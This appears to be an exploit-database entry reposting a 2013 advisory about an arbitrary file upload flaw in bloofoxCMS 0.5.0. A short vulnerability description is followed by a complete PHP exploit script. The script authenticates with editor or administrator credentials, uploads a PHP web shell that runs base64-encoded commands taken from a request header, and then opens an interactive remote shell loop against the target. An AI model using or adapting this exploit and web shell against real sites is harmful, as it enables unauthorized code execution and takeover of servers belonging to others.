发布 2013-06-17 漏洞条目

BloofoxCMS – ‘index.php’ Arbitrary File Upload

Exploit Source

source: https://www.securityfocus.com/bid/60585/info

bloofoxCMS is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

bloofoxCMS 0.5.0 is vulnerable;other versions may also be affected.

<?php

,--^----------,--------,-----,-------^--,

| ||||||||| `--------' | O .. CWH Underground Hacking Team ..

`+---------------------------^----------|

`\_,-------, _________________________|

/ XXXXXX /`| /

/ XXXXXX / `\ /

/ XXXXXX /\______(

/ XXXXXX /

(________(

`------'

Exploit Title : Bloofox CMS Unrestricted File Upload Exploit

Date : 17 June 2013

Exploit Author : CWH Underground

Site : www.2600.in.th

Vendor Homepage : http://www.bloofox.com/

Software Link : http://jaist.dl.sourceforge.net/project/bloofox/bloofoxCMS/bloofoxCMS_0.5.0.7z

Version : 0.5.0

Tested on : Window and Linux

#####################################################

VULNERABILITY: Unrestricted File Upload

#####################################################

This application has an upload feature that allows an authenticated user

with Administrator roles or Editor roles to upload arbitrary files to media

directory cause remote code execution by simply request it.

#####################################################

EXPLOIT

#####################################################

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

if ($argc < 3)

{

print "\n==============================================\n";

print " Bloofox CMS Unrestricted File Upload Exploit \n";

print " \n";

print " Discovered By CWH Underground \n";

print "==============================================\n\n";

print " ,--^----------,--------,-----,-------^--, \n";

print " | ||||||||| `--------' | O \n";

print " `+---------------------------^----------| \n";

print " `\_,-------, _________________________| \n";

print " / XXXXXX /`| / \n";

print " / XXXXXX / `\ / \n";

print " / XXXXXX /\______( \n";

print " / XXXXXX / \n";

print " / XXXXXX / .. CWH Underground Hacking Team .. \n";

print " (________( \n";

print " `------' \n\n";

print "\nUsage......: php $argv[0] <host> <path> <user> <password>\n";

print "\nExample....: php $argv[0] target /bloofoxcms/ editor editor\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$payload = "username={$argv[3]}&password={$argv[4]}&action=login";

$packet = "POST {$path}admin/index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Referer: {$host}{$path}admin/index.php\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/Location: index.php/i", $response)) die("\n[-] Login failed!\n");

if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

print "\n..:: Login Successful ::..\n";

print "\n..:: Waiting hell ::..\n\n";

$payload = "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"filename\"; filename=\"sh.php\"\r\n";

$payload .= "Content-Type: application/octet-stream\r\n\r\n";

$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";

$payload .= "--o0oOo0o--\r\n";

$packet = "POST {$path}admin/index.php?mode=content&page=media&action=new HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Referer: {$host}{$path}admin/index.php?mode=content&page=media&action=new\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet = "GET {$path}media/files/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\nBloofox-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

$response = http_send($host, sprintf($packet, base64_encode($cmd)));

preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}

作者: CWH Underground
日期: 2013-06-17
类别: webapps
平台: php

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